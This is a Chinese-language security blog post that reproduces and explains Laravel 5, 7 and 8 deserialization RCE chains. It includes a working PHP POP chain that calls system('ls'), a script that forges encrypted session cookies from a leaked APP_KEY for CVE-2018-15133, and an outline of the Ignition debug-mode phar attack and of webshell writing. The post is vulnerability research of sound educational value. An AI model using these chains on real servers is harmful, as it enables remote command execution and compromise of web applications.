Laravel反序列化学习
本文主要以收集并复现网络上常用的Laravel反序列化RCE链为目的,学习并总结Laravel反序列化的函数调用与内部逻辑。本次复现所使用的Laravel版本为Laravel 5.8.38,Laravel 7.30.4,Laravel 8.38.0,组件版本由composer默认安装。
命令执行
首先直接上一张整理好的Laravel的反系列化脑图,绿色链代表Laravel 5,7,8通用的反序列化链,黄色链代表受限于Laravel版本的反序列化链,红色链代表需要使用到特定版本组件的序列化链。
从脑图中可以看到很明显的一个特征是,Laravel 5,7,8通用的反序列化链的入口基本上都是Illuminate\Broadcasting\PendingBroadcast
类的__destruct()
方法。通过寻找可利用的__call()
魔术方法或者存在dispatch()
方法的类来完成后续的利用,最后通过php可变函数的性质或者call_user_func
和call_user_func_array
来执行命令。
除了PendingBroadcast
类,还有一些常用可以进行反序列化的类,如PendingResourceRegistration
类和ImportConfigurator
类,但是在高版本的Laravel中,ImportConfigurator
类加入了__wakeup
和__sleep
函数,导致该类不能被反序列化,但PendingResourceRegistration
类依旧可以使用。
全网中将PendingResourceRegistration
作为入口的反序列化链比较少,因此在这里我选择PendingResourceRegistration
作为反序列化链挖掘的入口。
在PendingResourceRegistration
类中,__destruct()
方法会调用类中的register()
方法,register()
会对应调用$this->registrar
的register()
方法。其中,$this->registered
,$this->name
,$this->controller
,$this->options
均可控。
那么接下来的任务就是寻找含有__call()
魔术方法的类或者含有register()
方法的类,这里优先选择去寻找可利用的__call()
方法。经过一番ctrl+f搜索,找到了一个稍微好利用的类Mockery\Generator\Method
,其中__call()
方法直接调用了call_user_func_array
函数,$this->method
可控。
但是因为call_user_func_array
的特点,在传入的第一个参数为字符串时,会直接调用对应的函数。如果传入的参数为数组,比如array(new A(), 'b')
,则会对应调用A类的b方法。在这里虽然$this->method
可控,但是此时$method
为调用__call()
方法时的函数名,很难做到命令执行,因此还需要再跳一层,寻找__call()
方法来执行命令。
最后瞄准了Illuminate\Validation\Validator
类,这个类被很多反序列化链作为命令执行的最终类,因为它有着很方便的构造点,并且变量($this->extensions
)可控。传入的$method
首先使用substr
获取了第8位以后的字符串$rule
,接着寻找$this->extensions
中是否存在对应与$rule
键的值,如果存在并且可以被调用(is_callable
),那么就可以利用php可变函数的特性来调用这个函数。
完整的调用栈如下:
下面给出pop链:
`<?php``// laravel 5, 7, 8 都可``namespace Illuminate\Routing {` `class PendingResourceRegistration` `{` `protected $registrar;` `protected $registered;` `protected $name;` `protected $controller;` `protected $options;`` ` `public function __construct($registrar, $registered, $name, $controller, $options)``{` `$this->registrar = $registrar;` `$this->registered = $registered;` `$this->name = $name;` `$this->controller = $controller;` `$this->options = $options;` `}` `}``}`` ``namespace Mockery\Generator {` `class Method` `{` `private $method;`` ` `public function __construct($method)``{` `$this->method = $method;` `}` `}``}`` ``namespace Illuminate\Validation {` `class Validator` `{` `public $extensions;`` ` `public function __construct($extensions)``{` `$this->extensions = $extensions;` `}` `}``}`` ``namespace {` `$a = new Illuminate\Validation\Validator(array('' => 'call_user_func'));` `$b = new Mockery\Generator\Method($a);` `$c = new Illuminate\Routing\PendingResourceRegistration($b, false, 'call_user_func', 'system', 'ls');` `echo(urlencode(serialize($c)));``}`
这个链的不足在于调用了两次call_user_func
。实际上,调用Illuminate\Validation\Validator
时就可以任意执行函数了,但是因为传入的参数个数为3个,同时php命令执行相关的函数的参数一般为1个或者2个,因此只能退而求其次,再调用一次call_user_func
来执行命令执行函数。
在反序列化的过程中,使用某些链进行命令执行虽然将结果回显,但同时也会产生报错(错误日志存储在storage/logs/laravel.log中)。
写Webshell
基本上,写webshell的链是在命令执行的反序列化链之后往后延伸,寻找可传入多个参数的执行链,在这里就不赘述了。
比较特别的是,在laravel7,8的较新版本中引入了GuzzleHttp组件,这个组件是一个PHP的HTTP客户端,它用来发送请求,并集成到WEB服务上。其中,其中一条写webshell的反序列化链就利用了FileCookieJar
类中的__destruct()
方法。__destruct()
方法中调用了save()
方法对cookies进行持久化的存储,其本意是为了保存cookies,但我们可以通过这个机制通过反序列化来写入webshell。
反序列化点
在laravel版本小于5.6.30中,存在一个cookies反序列化漏洞(CVE-2018-15133),该漏洞允许攻击者在获取到APP KEY的前提下,通过Http头部的Cookies字段,将含有恶意代码的序列化链发送给服务端,因为服务端没有对数据的内容做校验,导致序列化链在服务器上被反序列化,从而执行序列化链内部的恶意代码,导致远程代码执行。
具体漏洞出现在vendor/laravel/framework/src/illuminate/Cookie/Middle/Encrypter.php
的decrypt()
函数中,该函数对$payload
进行了一系列的解析和解密后,调用了unserialize()
对$payload['value']
进行反序列化。
向上追溯,在vendor/laravel/framework/src/illuminate/Cookie/Middle/EncryptCookies.php
中decrypt()
函数在获取到Request类对象后,循环对 Cookie的值调用decryptCookie函数进行解密以验证其合法性。
因此我们仅需要一条可利用的反序列化链,再按照laravel Cookies的生成方式,利用获取到的APP KEY生成带有恶意反序列化链的加密Cookies,在请求服务器时带上Cookies即可完成RCE。
laravel使用的默认cookies为laravel_session
,通过openssl加密和base64编码后存储在客户端,解密后的内容为序列化的数组。其中iv用来加解密,value保存具体的cookies值,mac用来进行完整性的校验。
其中value字段是反序列化链的关键。在较低版本的laravel中,Cookies并没有加上hmac的校验,因此不需要费力去构造hmac,我们可以在此填入带有命令执行或者写webshell的反序列化链,完成RCE。
下面给出cookies加密规则的脚本(需要设计好反序列化链):
`$key = 'base64:xxx';``$key = base64_decode(substr($key, 7));``$cipher = 'AES-256-CBC';`` ``$iv = \random_bytes(\openssl_cipher_iv_length($cipher));`` ``$value = serialize($c);``$value = \openssl_encrypt($value, $cipher, base64_decode($key), 0, $iv);`` ``$iv = base64_encode($iv);``$mac = hash_hmac('sha256', $iv . $value, $key);``echo $mac . "\n";`` ``$json = json_encode(compact('iv', 'value', 'mac'));``echo base64_encode($json);`
在Laravel 5.6.30之后,官方对CVE-2018-15133漏洞进行了修复。具体来说,Laravel在Cookies解析之前多传了一个 static::serialized()
值来禁止反序列化操作,同样对于 X-XSRF-TOKEN
头的解析也是同样的处理。
今年年初爆出来的laravel debug模式下的RCE的漏洞。在 Debug 模式下,Laravel 内置的错误页面管理Ignition 组件中某些接口未严格过滤输入数据,导致可以利用 file_get_contents()
和 file_put_contents()
对laravel的日志文件进行 phar 的反序列化攻击,最终RCE。
漏洞具体成因出现在facade/ignition/src/Solutions/MakeViewVariableOptionalSolution
类中。这个类本是用来提示开发者,页面存在未定义的变量,并可以通过点击按钮(下图中Make variable optional
按钮)的方式,来快速修复一些错误。在这里,通过在blade模板中插入一个未定义的$username
变量,就可以触发MakeViewVariableOptionalSolution
。
具体利用点出现在MakeViewVariableOptionalSolution
的run()
函数中,这里如果$output
和$parameters
可控的话,那么就可以实现任意文件写。$output
是makeOptional()
函数返回的结果,因此跟进makeOptional()
函数。
望文生义,makeOptional()
对应于上图中Make variable optional
按钮中对应的处理函数。在这里,主要体现的功能就是替换 内容中含有的$variableName
为 $variableName ?? ''
, 然后进行token_get_all
的校验,如果token
校验可以通过,那么最后将返回修改后的内容$newContent
。需要注意的一点是,file_get_contents()
和 file_put_contents()
操作的都是同一个文件($parameters[‘viewFile']
)
因此,如果传入run()
函数的$parameters
可控的话,我们就拥有了一个对任意文件的读写。
向上寻找run()
的调用链,定位到了ExecuteSolutionController
类。这个类满足了所有需求,调用了MakeViewVariableOptionalSolution
类的run()
方法的同时,$parameters
通过$request->get()
获取,满足了可控的需求。
$solution
通过$ExecuteSolutionRequest->getRunnableSolution()
获取,getRunnableSolution()
调用了getSolution()
。而ExecuteSolutionRequest
继承FormRequest
,因此$solution
的值实际上由post请求体获得。
最后,漏洞触发点的路由定义在IgnitionServiceProvider.php
,对应的web访问路由为/_ignition/execute-solution
下图是一个清除laravel log日志的payload:
因为本文主要关注于Laravel中存在反序列化的点,同时后序的利用网上已经有了很多的分析文章了,因此在这里就仅仅介绍一下后序的思路:
1.通过php filter
对log日志文件的清空和写入,将log文件转换为phar文件格式。
2.通过phar协议进行phar的反序列化解析,最终完成RCE。
让我们再回到decrypt函数中。可以看到decrypt()
中默认传入的$unserialize
值为true
,也就是说,如果没有对decrypt()
进行了充分的了解,将用户的输入作为$payload
传入,那么就会在不知情的情况下构造了一个反序列化的点(前提还是需要获取到APP KEY)。
新建一个控制器,并不正当地使用decrypt()
函数(为了方便,省去了获取内置Encrypter的步骤)。
`class DecryptController extends Controller``{` `public function decrypt()``{` `$key = 'base64:bz9ynRr1smrZsNo7egh3muVHGKVHm9yB2YLrFvjajoE=';` `$key = base64_decode(substr($key, 7));`` ` `$payload = "eyJpdiI6Ik9nTFVFWm81ODdMbHdreVwvXC85UjVyQT09IiwidmFsdWUiOiIrTjgwdnhjZUZhelNwQXFCWjVLTVg4dmdEaWRKMjd5MVNvbHp3MFRnUXFCdE9KZFdNT3I5TnRrM3dnbStUM0NHVTI5Q0pJM21oRmtJZzk4NHJZM1NIclJwamFrMUoxTkE3ZG12YUZiV1FZcUdYZ1dBb2NlcUZET0gxSjk2OTJ2UjRHdW9sZFlJcjFsc3ZoR2JIYXFORUUyYnlCbk4rMnRoRURrZkJuMEpKMVwvYUlDTUp1U2VyQTlNb2hSdlp4NUZkbmU4eVVXTlpjSEI3UGhrOHN1dEdFcHE5dFF3RklWcE1lVTBiSnpiRVZRckI0Z0d4aHU0S2JybER0aGdMSUhEZ0RaUWNPNjY0UDVrU2Z1VlNcLzFNUGdsbFwvNUZEZHlxSlB4a0JIZ0NsQ0E2ajFSdHpWd24wXC82RW5cL1BXNTByXC9kcyIsIm1hYyI6ImRmMmMyMTE1YjhhODI1YmExMjU4MzcwNGIxODc2ZDg5YTg4NDI5NWNkNDBlNDNhZTM0YTdiYWVkY2U5YWFkYzcifQ==";`` ` `$encrypter = new Encrypter($key, 'AES-256-CBC');` `var_dump($encrypter->decrypt($payload));` `}``}`
可以看到,访问当前路由就能触发反序列化漏洞,造成命令执行。
•https://www.anquanke.com/post/id/231079 •https://xz.aliyun.com/t/9478 •https://www.anquanke.com/post/id/189718 •https://www.anquanke.com/post/id/231459